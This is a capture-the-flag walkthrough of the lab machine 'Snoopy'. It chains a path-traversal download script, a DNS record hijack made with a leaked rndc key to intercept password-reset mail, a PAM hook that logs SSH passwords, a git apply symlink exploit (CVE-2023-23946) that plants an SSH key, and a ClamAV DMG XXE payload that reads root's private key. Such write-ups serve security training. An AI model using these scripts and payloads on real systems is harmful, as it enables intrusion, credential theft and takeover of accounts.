Snoopy

NMAP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 22:08 IST
Nmap scan report for 10.10.11.212
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ee:6b:ce:c5:b6:e3:fa:1b:97:c0:3d:5f:e3:f1:a1:6e (ECDSA)
|_  256 54:59:41:e1:71:9a:1a:87:9c:1e:99:50:59:bf:e5:ba (ED25519)
53/tcp open  domain  ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.28 seconds

PORT 80

2 links ->
Pasted image 20240328022452.png

A few usernames ->
Pasted image 20240328022514.png

Mail.snoopy.htb is currently offline
Pasted image 20240328022536.png

I ll add mail.snoopy.htb to our /etc/hosts file, but it goes to the same page.
Also it says something about the DNS records, I ll keep it in back of my mind.

VHOST discovery

➜  downloads wfuzz -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://snoopy.htb/ -H "Host: FUZZ.snoopy.htb" --hl 480
 /usr/local/lib/python3.11/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://snoopy.htb/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                       
=====================================================================

000000950:   200        0 L      141 W      3132 Ch     "mm"  

I ll add mm.snoopy.htb in my /etc/hosts

Its a mattermost instance
Pasted image 20240328023334.png

Pasted image 20240328023406.png
Failed Successfully LOL.

I fuzzed for sql injection and got nothing, so I ll fuzz for LFI

ffuf -u http://snoopy.htb/download\?file\=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --fs 0

Pasted image 20240328022727.png

Pasted image 20240328022756.png

Saving the output to a file, I can get the passwd file.

unzip hello.zip

cat press_package/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav:x:1002:1003::/home/clamav:/usr/sbin/nologin
lpelt:x:1003:1004::/home/lpelt:/bin/bash
cschultz:x:1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray:x:1005:1006:Violet Gray:/home/vgray:/bin/bash
bind:x:108:113::/var/cache/bind:/usr/sbin/nologin
_laurel:x:999:998::/var/log/laurel:/bin/false

I ll write a script to exploit this.

import requests
import sys
import os
import zipfile

url = 'http://snoopy.htb/download'
headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Referer': 'http://10.10.11.212/',
    'Upgrade-Insecure-Requests': '1'
}
file = sys.argv[1]

params = {
    'file': f'....//....//....//....//..../{sys.argv[1]}'
}

response = requests.get(url, headers=headers, params=params)

zip_name = file.split('/')[-1]+".zip"

try:
    with open(zip_name, 'wb') as f:
        f.write(response.content)
except:
    print('File Not Found', response.status_code)
    exit()

try:
    with zipfile.ZipFile(zip_name, 'r') as zip_ref:
        zip_ref.extractall('.')
except:
    print('File Not Found')
    os.system(f'rm -f {zip_name}')
    exit()

zip_name = "/" + file.split("/")[-2] + "/" + file.split("/")[-1]
file_path = f'press_package/{sys.argv[1]}'

with open(file_path, 'r') as f:
    print(f.read())

zip_name = file.split('/')[-1]+".zip"
os.system(f'rm -f {zip_name}')

Pasted image 20240328022936.png
root/contact.html did say some thing about DNS records I ll enumerate them as well.

Enumerating files, I lead to the dns configuration file

➜  script python3 script.py /etc/bind/named.conf      
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the 
// structure of BIND configuration files in Debian, *BEFORE* you customize 
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
➜  script python3 script.py /etc/bind/named.conf.local
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

zone "snoopy.htb" IN {
    type master;
    file "/var/lib/bind/db.snoopy.htb";
    allow-update { key "rndc-key"; };
    allow-transfer { 10.0.0.0/8; };
};

This line allow-update { key "rndc-key"; }; means:
dynamic updates to the zone are allowed, but only if the requester can provide the appropriate key, which is named "rndc-key". Dynamic updates allow DNS records to be added, deleted, or modified programmatically while the server is running.

So If I have this file I can create our own entry for mai.snoopy.htb on this DNS server with this rndc key and when we do it we point it to ourselves and run a SMPT server and now we can intercept mail that goes to that domain.

python3 FileDisclosure.py /etc/bind/named.conf.options
options {
        directory "/var/cache/bind";

        // If there is a firewall between you and nameservers you want
        // to talk to, you may need to fix the firewall to allow multiple
        // ports to talk.  See http://www.kb.cert.org/vuls/id/800113

        // If your ISP provided one or more IP addresses for stable 
        // nameservers, you probably want to use them as forwarders.  
        // Uncomment the following block, and insert the addresses replacing 
        // the all-0's placeholder.

        // forwarders {
        //      0.0.0.0;
        // };

        //========================================================================
        // If BIND logs error messages about the root key being expired,
        // you will need to update your keys.  See https://www.isc.org/bind-keys
        //========================================================================
        dnssec-validation no;
        allow-transfer {10.0.0.0/8;};

        //listen-on-v6 { any; };
};

Also allow-transfer is allowed on 10.0.0.0/8 subnet.
We ll use nsupdate.

➜  dns cat rndc.key   
key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

--- 

➜  dns cat update.txt 
server 10.10.11.212
zone snoopy.htb
update add mail.snoopy.htb 86400 IN A 10.10.14.30
send
➜  dns nsupdate -k rndc.key update.txt 
➜  dns dig +noall +answer @10.10.11.212 mail.snoopy.htb ANY
mail.snoopy.htb.        86400   IN      A       10.10.14.30

Now If we listen on port 25 we can intercept mails.

I tried to send password reset mail and get a connection on nc listener
Pasted image 20240328024253.png

Pasted image 20240328024302.png

I ll need to start a smpt server using python3 -m on port 25 to catch all the mails.

python3 -m smtpd -n -c DebuggingServer

Pasted image 20240328024543.png

I tried this url to change the password but the token was wrong, its because of some extra characters.

Every line in this output ends with =, so we can ignore it
After Every = There is A 3D we can ignore that to
http://mm.snoopy.htb/reset_password_complete?token=8mzydnexbm1s1fdomiw7nbexnsnh63sdu51p4u7dfsbn4msew1brp9j5d6ruczud
Pasted image 20240328024815.png

I was able to change the password and login.

Pasted image 20240328024844.png

On chats If I press / I am able to see some options I can use
Pasted image 20240328035120.png

All of them are standard except server provision
Pasted image 20240328035221.png

Pasted image 20240328035245.png

I ll fill my ip address and linux as operating system other field can be anything.
Pasted image 20240328035327.png

I ll start a nc listener on port 2222.

Clicking submit I got connection on nc
Pasted image 20240328035409.png

I guess user cbrown tries to connect to us
Pasted image 20240328035433.png

User is using paramiko which is a python module, if the user is connecting to us with a password and not with a key we can intercept his password.

We could use ssh-honeypot but ippsec showed a cool trick where he modifies pam.so to log all the passwords.

Edit pam.so to log passwords

locate pam_exec.so
/usr/lib/x86_64-linux-gnu/security/pam_exec.so
sudo vim /etc/pam.d/common-auth 

Add This to the very first line, or else we ll have problem later. ->

auth    optional        pam_exec.so quiet expose_authtok /dev/shm/pwn.sh

/dev/shm/pwn.sh

 cat pwn.sh 
#!/bin/bash

echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.log
➜  shm chmod +x pwn.sh
sudo service ssh start

Now when we try to connect to our machine using ssh we get logs in /dev/shm/pwned.log

ssh user@localhost

cat pwned.log
Thu Mar 28 04:08:15 IST 2024 - user:[-REDACTED-]

But if we specify a invalid username we don't get passwords,

ssh asdf@localhost

Thu Mar 28 04:09:38 IST 2024 - asdf:

I ll use socat to forward port 22 to 2222 and then when user tries to connect to my port I ll get his username, I ll add that username to by box using adduser and again try to intercept his request and this time we ll be able to get his password.

socat TCP-LISTEN:2222,fork,reuseaddr TCP:127.0.0.1:22

Again I ll use server-provision to get a request to my machine on port 2222.

Thu Mar 28 04:14:10 IST 2024 - cbrown:
INCORRECT
INC

We know the username is cbrown we ll add a user named cbrown to our box

 sudo adduser cbrown
info: Adding user `cbrown' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `cbrown' (1002) ...
info: Adding new user `cbrown' (1002) with group `cbrown (1002)' ...
info: Creating home directory `/home/cbrown' ...
info: Copying files from `/etc/skel' ...
New password: 
Retype new password: 
passwd: password updated successfully
Changing the user information for cbrown
Enter the new value, or press ENTER for the default
        Full Name []: 
        Room Number []: 
        Work Phone []: 
        Home Phone []: 
        Other []: 
Is the information correct? [Y/n] 
info: Adding new user `cbrown' to supplemental / extra groups `users' ...
info: Adding user `cbrown' to group `users' ...

Again I ll use server provision

Now we are able to get his creds

Thu Mar 28 04:14:10 IST 2024 - cbrown:
INCORRECT
INC
Thu Mar 28 04:15:45 IST 2024 - cbrown:sn00pedcr3dential!!!

cbrown:sn00pedcr3dential!!!

Being a night Owl :)

PrivEsc to sbrown

sudo -l
[sudo] password for cbrown: 
Matching Defaults entries for cbrown on snoopy:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$

Researching about git apply vulnerability I found about CVE-2023-23946

Found some POC's like this one.

Lets go.

git config --global user.name "cbrown"
git config --global user.email "cbrown@snoopy.htb"
git config --global init.defaultBranch main


mkdir /dev/shm/poc
cd /dev/shm/poc
git init

To test, I’m going to try to create a file in a directory I own (without using sudo) to make troubleshooting easier. I’ll create /home/cbrown/hello. First I need to create a symlink that points to target directory and add it to the repo:

ln -s /home/cbrown/ symlink
git add symlink
git commit -m "add symlink"

I’ll create the patch file, using the data from the test, modifying it slightly:

diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/hello
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/hello
@@ -0,0 +1,1 @@
+busted
git apply patch

cat ~/hello 
busted

Overwrite authorized_keys

With sudo, I can do this exploit as sbrown. The first thing I’ll try is overwriting their authorized_keys file. I’ll start a brand new repo, this time adding a symlink pointing to sbrown’s .ssh folder:

cbrown@snoopy:/dev/shm/poc$ mkdir ssh
cbrown@snoopy:/dev/shm/poc$ cd ssh/
cbrown@snoopy:/dev/shm/poc/ssh$ git init
Initialized empty Git repository in /dev/shm/poc/ssh/.git/
cbrown@snoopy:/dev/shm/poc/ssh$ ln -s /home/sbrown/.ssh symlink
cbrown@snoopy:/dev/shm/poc/ssh$ git add symlink 
cbrown@snoopy:/dev/shm/poc/ssh$ git commit -m "add symlink"
[main (root-commit) 085aed7] add symlink
 1 file changed, 1 insertion(+)
 create mode 120000 symlink

’ll create a patch file again, this time changing hello to authorized_keys, and busted to an SSH public key:

cat patch 
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7gDsG813Zrqnb0XhdlW8rROxsMOifArgmNa8eDAdIg
cd ..
chmod 777 ssh/
cd ssh

 sudo -u sbrown git apply -v patch
Checking patch symlink => renamed-symlink...
Checking patch renamed-symlink/authorized_keys...
Applied patch symlink => renamed-symlink cleanly.
Applied patch renamed-symlink/authorized_keys cleanly.

Now I can ssh as sbrown user with our key
Pasted image 20240328113801.png

sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

Doing a bit googling with clamscan and --debug flag leads me to cve-2023-20052

CVE-2023-20052 information leak vulnerability in the DMG file parser of ClamAV
A vulnerability in the DMG file parser of ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier could allow an unauthenticated, remote attacker to access sensitive information on an affected device. This vulnerability is due to enabling XML entity substitution that may result in XML external entity injection. An attacker could exploit this vulnerability by submitting a crafted DMG file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to leak bytes from any file that may be read by the ClamAV scanning process. 

I ll need a dmg file and inject it with XML entity injection.

I can download any dmg file, I ll use use sublime dmg
wget https://download.sublimetext.com/Sublime%20Text%202.0.2.dmg

Pasted image 20240328130019.png

We have to edit this file and add our xxe payload here.
I ll use ghex to edit the script
sudo apt install ghex

Pasted image 20240328130131.png

<!DOCTYPE plist [<!ENTITY lk SYSTEM "file:///root/.ssh/id_rsa">]>                                     
<plist

Pasted image 20240328130456.png

Now we need to search for the plst key and replace it with lk

Pasted image 20240328130756.png
replace plst with lk

	<key>&lk;</key>
		<array>

Save the file.
Pasted image 20240328130937.png

Transfer the file to the target using python http server and wget into the /home/sbrown/scanfiles directory.

and run script to get log of output as the output is going to be large.

script
Script started, output log file is 'typescript'.

sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/sublime.dmg

Now we can see the ssh key in log file typescript.
Pasted image 20240328131655.png

Copy this to a file and ssh in as root
Pasted image 20240328132430.png

Root